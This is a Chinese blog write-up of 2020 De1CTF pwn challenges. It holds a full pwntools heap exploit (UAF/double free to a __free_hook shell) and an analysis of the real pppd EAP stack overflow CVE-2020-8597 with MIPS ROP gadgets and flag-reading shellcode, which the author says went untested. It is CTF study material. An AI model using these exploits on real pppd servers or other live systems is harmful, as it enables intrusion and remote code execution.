2020-De1CTF

字数统计: 3.6k字   |   阅读时长≈ 16分

2020 De1CTF题目都挺难的，包含一个简答的 C++，一个 nday的协议栈溢出漏洞，一个 Android 漏洞 和 一个webpwn。

stl

又是一道C++题目，而且经过这几次发现 C++ 题目，其实还是有一部分相像的。比如 vector的插入和删除操作。这一部分应该反汇编后都及其类似。所以我们一般不考虑在插入删除除存在漏洞。而更应该考虑 是否存在堆溢出、double free 或 UAF 漏洞。这一部分可以先使用手动测试一下。

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_proc();
  while ( 1 )
  {
    menu();
    switch ( get_num() )
    {
      case 1:
        TestList();
        break;
      case 2:
        TestVector();
        break;
      case 3:
        TestQueue();
        break;
      case 4:
        TestStack();
        break;
      case 5:
        exit(0);
      default:
        puts("invalid choice");
        break;
    }
  }
}

程序总体逻辑是实现了 链表、vector、队列和栈的四种操作。每种操作都有 增加、删除功能，此外 链表和 vetcor还有输出功能。这里，主要就是测试了一下，是否有堆溢出漏洞和 double free 还有 UAF漏洞。发现在处理 vector时，如果删掉了 第一个 vector，然后由于 vector链表没有将 第一个 vector清空，导致可以 double free和 UAF漏洞。

利用分析

那么，这里漏洞就是 vector的第一个 vector存在 uaf漏洞。

这里，可以先利用 UAF漏洞来泄露 heap地址。

然后利用 double free漏洞劫持 tcache_perthread_struct，并释放到 unsortedbin中，来泄露地址。

最后再通过 double free来劫持 free_hook。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])
filename = './stl_container'
libcname = '/lib/x86_64-linux-gnu/libc.so.6'
debug = 1

if debug == 1:
    p = process(filename)
    elf = ELF(filename)
    libc = ELF(libcname)

def ListOp(ch, data, idx):
    p.sendlineafter('>> ',str(1))
    if str(ch) == '1':
        p.sendlineafter('>> ', str(ch))
        p.sendafter('input data:', data)
    if str(ch) == '2':
        p.sendlineafter('>> ', str(ch))
        p.sendlineafter('index?',str(idx))
    if str(ch) == '3':
        p.sendlineafter('>> ', str(ch))
        p.sendlineafter('index?',str(idx))

def VectorOp(ch, data, idx):
    p.sendlineafter('>> ',str(2))
    if str(ch) == '1':
        p.sendlineafter('>> ', str(ch))
        p.sendafter('input data:', data)
    if str(ch) == '2':
        p.sendlineafter('>> ', str(ch))
        p.sendlineafter('index?',str(idx))
    if str(ch) == '3':
        p.sendlineafter('>> ', str(ch))
        p.sendlineafter('index?',str(idx))

def QueueOp(ch, data):
    p.sendlineafter('>> ',str(3))
    if str(ch) == '1':
        p.sendlineafter('>> ', str(ch))
        p.sendafter('input data:', data)
    if str(ch) == '2':
        p.sendlineafter('>> ', str(ch))

def StackOp(ch, data ):
    p.sendlineafter('>> ', str(4))
    if str(ch) == '1':
        p.sendlineafter('>> ', str(ch))
        p.sendafter('input data:', data)
    if str(ch) == '2':
        p.sendlineafter('>> ', str(ch))

def Pwn():
    payload = 'a'*8
    ListOp('1', payload, '')
    ListOp('1', payload, '')
    VectorOp('1', payload, '')
    VectorOp('1', payload, '')
    #StackOp('1', payload)
    QueueOp('1', payload)

    ListOp('2', payload, '1')
    VectorOp('2', payload, '0')
    #gdb.attach(p, 'bp $rebase(0x1965)')
    VectorOp('3', payload, '0')

    p.recvuntil('data: ')
    heap_base = u64(p.recv(6).ljust(8, b'\x00'))-0x12550-0xa0
    print('heap_addr:',hex(heap_base))
    #double free
    print("== double free")
    VectorOp('2', payload, '0')
    ListOp('2', payload, '0')

    payload = p64(heap_base+0x10)
    ListOp('1', payload,'0')
    payload = p64(0)+'\x07\x00'+p16(0)+p32(0)+p64(0)*2+p16(0)+p8(0)+b'\x07\x07'
    StackOp('1', payload)
    VectorOp('1', payload, '0')   #tcache_perthread_struct
    #delete tcache_perthread
    #QueueOp('2', payload)

    print('===== leak addr')

    ListOp('1', 'a'*1, '1')
    ListOp('3', payload,'1')
    p.recvuntil('data: ')
    libc.address = u64(p.recv(6).ljust(8, b'\x00'))-0x21-0x10-libc.sym['__malloc_hook']
    print('libc_addr:',hex(libc.address))

    free_hook = libc.sym['__free_hook']
    system = libc.sym['system']

    print("getshell ========\n")
    #ListOp('2', payload, '0')
    VectorOp('2', payload, '0')
    #QueueOp('2', payload)
    payload = p64(0) + '\x00\x00' + p16(0) + p32(0) + p64(0) * 2 + p16(0) + p8(0) + b'\x07\x07'
    StackOp('1', payload)

    QueueOp('2', payload)

    VectorOp('1', payload, '0')
    VectorOp('1', payload, '1')

    #
    payload = p64(free_hook)
    StackOp('2', payload)
    VectorOp('2', payload, '0')
    VectorOp('2', payload, '0')
    ListOp('2', payload, '1')
    # QueueOp('2', payload)
    #
    QueueOp('1', payload)
    ListOp('1', '/bin/sh\x00', '1')
    StackOp('1', p64(system))
    # QueueOp('1', '/bin/sh\x00')
    # payload = p64(system)
    ListOp('2', payload, '1')
    #
    # QueueOp('2', payload)
    p.interactive()

Pwn()

pppd

这是一个真实 CVE 漏洞改编的题目。我们需要先分析一下原漏洞的漏洞点，也顺便为我入门相似的 IOT 漏洞打个基础。

CVE-2020-8597

下面分析主要参考这篇文章。

背景知识

EAP协议是使用可拓展的身份验证协议的简称，全称 Extensible Authentication Protocol，是一系列验证方式的集合，设计理念是满足任何链路层的身份验证需求，支持多种链路层认证方式。因为 EAP协议主要用于认证，因此这个漏洞影响了众多协议，如 ppopen、pptp等。

EAP协议帧格式，如下：

字段 占用字节数 描述
Code 1个字节 表示EAP帧四种类型：1．Request；2．Response 3．Success；4．Failure
Identifier 1个字节 用于匹配Request和Response。Identifier的值和系统端口一起单独标识一个认证过程
Length 2个字节 表示EAP帧的总长度
Data 0或更多字节 表示EAP数据
  • code 用于标识 eap 协议为请求或者响应包，或者认证成功或者认证失败
  • length 字段用于表示 eap 帧 的长度，漏洞产生的原因就是因为对这个字段处理不当造成的。

漏洞分析

可以从此处，看到对漏洞修补时的 commit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@@ -1420,7 +1420,7 @@ int len;
//request
/* Not so likely to happen. */
		if (vallen >= len + sizeof (rhostname)) {
		if (len - vallen >= sizeof (rhostname)) {
			dbglog("EAP: trimming really long peer name down");
			BCOPY(inp + vallen, rhostname, sizeof (rhostname) - 1);
			rhostname[sizeof (rhostname) - 1] = '\0';
		} else {
			BCOPY(inp + vallen, rhostname, len - vallen);
			rhostname[len - vallen] = '\0';
		}
//response
/* Not so likely to happen. */
		if (vallen >= len + sizeof (rhostname)) {
		if (len - vallen >= sizeof (rhostname)) {
			dbglog("EAP: trimming really long peer name down");
			BCOPY(inp + vallen, rhostname, sizeof (rhostname) - 1);
			rhostname[sizeof (rhostname) - 1] = '\0';
		} else {
			BCOPY(inp + vallen, rhostname, len - vallen);
			rhostname[len - vallen] = '\0';
		}

在 eap.c文件中，可以看到分别对 处理 response和 request时的 请求 rhostname长度做了限定。当 vallen<= len+sizeof(rhostname)时，程序会执行 else流程。

而在 else流程中，我们重点关注如下代码：

1
BCOPY(inp + vallen, rhostname, len - vallen);

其中 BCOPY函数原型如下：

1
#define BCOPY(s, d, l)      memcpy(d, s, l) //memcpy 函数的封装

那么这段代码就是将 inp+vallen处的字符 赋值给 rhostname，而 rhostname最大长度为 256。而 vallen表示的是数据包头部的长度，为一个常量。len表示数据包长度，我们输入的 Data可以增大该字段。

那么分析一下漏洞触发流程：

  • 发送大量字符串，使得 vallen<= len+sizeof(rhostname)
  • 执行 else分支，将 inp+vallen的字符 拷贝给 rhostname，长度为 len-vallen
  • 只要满足 len-vallen大于 256，则发生栈溢出漏洞。

利用分析

上面已经将 pppd的漏洞分析的很清楚，是一个 mips下的栈溢出漏洞。

但是，还有个问题就是 我们如何调试该程序，并发生 exp 和获得 flag。

下面是环境搭建的一部分，但是我到现在仍然没有成功：）

下面的方法主要参考 Xp0int师傅的题解，当然还有官方题解以及 More Smoked Leet Chicken的题解，也有讲到环境搭建，但是另外两者都会有不同的报错。

  1. 我们需要在 qemu环境内下载一个调试器，这里可以选择这个 gdb-server-mips，把该程序放到img文件系统的根目录下
  2. 修改 etc/inittab文件，该文件是我们内核启动时，会读取的配置文件，修改如下
1
2
3
4
5
6
7
8
9
# Put a getty on the serial port
#ttyS0::respawn:/sbin/getty -L  ttyS0 0 vt100 # GENERIC_SERIAL
#ttyS0::sysinit:/pppd auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100
# Bring up network device
::sysinit:/sbin/ifup -a
# Launch gdbserver
ttyS0::sysinit:/gdbserver :1234 /pppd /dev/ttyS1 auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100

# Stuff to do for the 3-finger salute

简单解释，ttyS0表示子进程要使用的控制台；sysinit表示系统启动后最先执行，后面即是要执行的动作。这里是启动 gdbserver，映射端口 1234，并打开 监视 pppd程序，并且将 pppd程序连接到 ttyS1设备，用于发送和接受数据包。

  1. 然后修改 qmeu的启动文件，如下所示：
1
-net user,hostfwd=tcp::1234-:1234 -net nic -serial stdio -serial pty

qemu将把 TCP端口 1234和 /dev/ttyS1从客户机重定向到主机，因此可以通过qemu创建的 pty设备与 pppd通信。

  1. 然后重新打包文件系统，启动qemu。

然后，与服务端 pppd通信的最简单的方法是如下命令：

1
sudo pppd noauth local defaultroute debug nodetach /dev/pts/1 user admin password 1234568

本来，我们需要与服务端通信需要我们自己写一个 pppd格式的数据包，这里 More Smoked Leet Chicken大佬就是自己实现了一个数据通信。但是，我们可以自己通过 patch pppd程序，在其 eap_chap_response函数中，把数据从我们的文件读，从而省略了自己构造数据格式的过程。（这一点是十分巧妙地方法）。

源码中，eap_chap_response函数如下：

1
2
eap_chap_response(esp, id, hash, esp->es_client.ea_name,
    esp->es_client.ea_namelen);

然后，我们可以修改为如下：

1
2
3
4
5
6
char payload[1024] = {0};
FILE *fp = fopen("/tmp/sc", "r");
fread(payload, 1, 1024, fp);
fclose(fp);

eap_chap_response(esp, id, hash, payload, 1024);

然后，我们创建 /tmp/sc文件

1
2
3
$ python3 -c 'from pwn import*; open("/tmp/sc", "wb").write(cyclic(1024))'
$ cat /tmp/sc
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak

然后使用 gdb启动并附加远程 pppd，然后在本地机器上运行已经打过补丁的pppd：

1
sudo ./pppd-payload noauth local defaultroute debug nodetach /dev/pts/1 user admin password 1234568

这样即可实现与服务端通信。

原理上感觉上面这种方法是很靠谱的，但是我搭了很久的环境仍然没成功。所以下面的exp步骤，都没有经过自己调试。先记录一下，等后面对qemu知识记录足够，再来调试

EXP

既然是 栈溢出漏洞，那么很常见使用 ROP，并且程序没有开启 PIE和 NX，那么只用绕过 canary即可。

用到的 gadget如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0042f9a8 bc  02  bf       lw         ra ,local_4 (sp )
         8f
0042f9ac b8  02  b4       lw         s4 ,local_8 (sp )
         8f
0042f9b0 b4  02  b3       lw         s3 ,local_c (sp )
         8f
0042f9b4 b0  02  b2       lw         s2 ,local_10 (sp )
         8f
0042f9b8 ac  02  b1       lw         s1 ,local_14 (sp )
         8f
0042f9bc a8  02  b0       lw         s0 ,local_18 (sp )
         8f
0042f9c0 08  00  e0       jr         ra
         03

该指令是将 栈上的数据，依次存到 ra返回地址寄存器，和 s4-s0调用时原寄存器值，以及跳转到 ra寄存器的地址处。利用这个 gadget可以跳转到我们想去的地址。

那么接下来就是要控制 sp。这里需要用到一个全局跳转变量 sigjmp，如下所示：

1
2
0045c71c                 void *    NaP                     __sp
0045c720                 int[8]    ??                      __regs

这里，有一个 __sp指针，且其指向一个固定的栈地址。我们应用这个地址，可以将 sp寄存器指向一个固定的栈地址。然后在该固定的栈地址处布置上 shellcode。这里，我们能够控制 sp后，还需要一个跳转到该 sp地址并去执行的 gadget，这里需要使用 jalr，jalr的作用是跳转到寄存器存储的地址指向的值，类似于 间接跳转 jmp [$rax]，而 jr的作用类似于直接跳转，直接跳转到寄存器的值上去。所以这里我们还需要找到一个 jalr的 gadget，用来跳转到 0x45c71c地址指向的 sp值。最终如下：

1
2
3
4
5
0x43e310 <__libc_csu_init+96>:	lw	t9,0(s0)
0x43e314 <__libc_csu_init+100>:	addiu	s1,s1,1
0x43e318 <__libc_csu_init+104>:	move	a2,s5
0x43e31c <__libc_csu_init+108>:	move	a1,s4
0x43e320 <__libc_csu_init+112>:	jalr	t9

那么，我们总体的利用思路就是：

  • 利用 0x0042f9a8地址的 gadget来 将 $ra寄存器设置为 0x43e310，将 $s0寄存器设置为 0x45c71c
  • 随后跳转到 0x43e310地址的 gadget，并 使用 jalr t9，跳转到 0x43e310指向的一个 栈地址
  • 我们在该地址处布置 上我们的 shellcode

这里，还需要注意由于 该 sp 地址，一次只能放 32 bytes的shellcode，所以这里还需要将完整的 shellcode，分成两部分：jmp shellcode 和 getflag shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python3
from pwn import *

context(arch="mips", log_level="debug")

# getflag shellcode: write flag to ppp_fd
flag_sc = \
"""
    /* Save dst fd for later */
    /* mov $s0, $s0 is a noop */
    /* push '/flag\x00' */
    li $t1, 0x616c662f
    sw $t1, -8($sp)
    li $t9, ~0x67
    not $t1, $t9
    sw $t1, -4($sp)
    addiu $sp, $sp, -8
    /* call open('$sp', 'O_RDONLY') */
    add $a0, $sp, $0 /* mov $a0, $sp */
    slti $a1, $zero, 0xFFFF /* $a1 = 0 */
    ori $v0, $zero, SYS_open
    syscall 0x40404
    /* Save src fd for later */
    sw $v0, -4($sp) /* mov $s1, $v0 */
    lw $s1, -4($sp)
    /* Load file size */
    li $a3, 0xff
    /* call sendfile('$s0', '$s1', 0, '$a3') */
    li $t1, 0x45B1F0 /* ppp_fd */
    lw $a0, ($t1)
    add $a1, $s1, $0 /* mov $a1, $s1 */
    slti $a2, $zero, 0xFFFF /* $a2 = 0 */
    ori $v0, $zero, SYS_sendfile
    syscall 0x40404
"""

# jump shellcode: jump to getflag shellcode
jmp_sc = \
"""
lw  $t0, ($s0)   /* Load jump shellcode address from __sp pointer */
li  $t1, 0x268
sub $t9, $t0, $t1
j   $t9   /* jump to getflag shellcode */
"""

# `__sp` pointer in `sigjmp` struct that stores the address of jump shellcode
ptr = 0x0045c71c

# 0x0043e310 : lw $t9, ($s0) ; addiu $s1, $s1, 1 ; move $a2, $s5 ; move $a1, $s4 ; jalr $t9
gadget = 0x0043E310

payload  = asm(flag_sc).ljust(616, b'\x00')
payload += asm(jmp_sc).ljust(648-616, b'\x00')
payload += p32(ptr) * 5  # s0 ~ s4
payload += p32(gadget)   # ra

payload = payload.ljust(1024, b'\x00')

with open("/tmp/sc", "wb") as fp:
    fp.write(payload)

print(payload)

然后，这里有十分精妙的 mips执行 orw的过程，下面分析一下，以加深理解。

1
2
3
4
5
6
7
8
9
/* Save dst fd for later */
/* mov $s0, $s0 is a noop */
/* push '/flag\x00' */
li $t1, 0x616c662f
sw $t1, -8($sp)
li $t9, ~0x67
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -8

li命令是将 一个立即数 传递给寄存器，sw指令是将一个字节 从寄存器 存储到 存储器 这里相当于 push操作。not指令是非指令，这里是把 0x67加到了 $t1的末尾。addiu指令 是一个 寄存器与常数相加指令，这里相当于将 栈顶 sub 8。总体功能就是 实现了 push 0x67616c62f

1
2
3
4
5
/* call open('$sp', 'O_RDONLY') */
add $a0, $sp, $0 /* mov $a0, $sp */
slti $a1, $zero, 0xFFFF /* $a1 = 0 */
ori $v0, $zero, SYS_open
syscall 0x40404

这里先用 add指令将 $sp的数据 加 0 后传给 $a0，$a0是函数调用的第一个参数。然后 使用 slti指令 比较 $zeor与 0xffff的值，如果大则将 $a1赋值为0，如果小则将 $a1赋值为 1，这里就相当于对 $a1赋值为0。使用 ori指令，将 $zero与 SYSOPEN异或，并将结果赋值给 $v0，这里相当于将 rax=SYSOPEN，最后调用 syscall执行函数。

1
2
3
/* Save src fd for later */
sw $v0, -4($sp) /* mov $s1, $v0 */
lw $s1, -4($sp)

这里首先使用 sw指令将 $v0的值 赋值给 $sp-4处，这里相当于将之前 Open的返回值 压栈。再将 该 值复制给 $s1寄存器。

1
2
3
4
5
6
7
8
9
/* Load file size */
li $a3, 0xff
/* call sendfile('$s0', '$s1', 0, '$a3') */
li $t1, 0x45B1F0 /* ppp_fd */
lw $a0, ($t1)
add $a1, $s1, $0 /* mov $a1, $s1 */
slti $a2, $zero, 0xFFFF /* $a2 = 0 */
ori $v0, $zero, SYS_sendfile
syscall 0x40404

然后，接下来就是调用 sendfile()函数，其参数依次为 fd指针，open_fd指针，和 size。

mixture

一道 web-pwn，其中 pwn部分是一个 php-pwn的栈溢出，题解可以参考我 web-pwn文章。

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing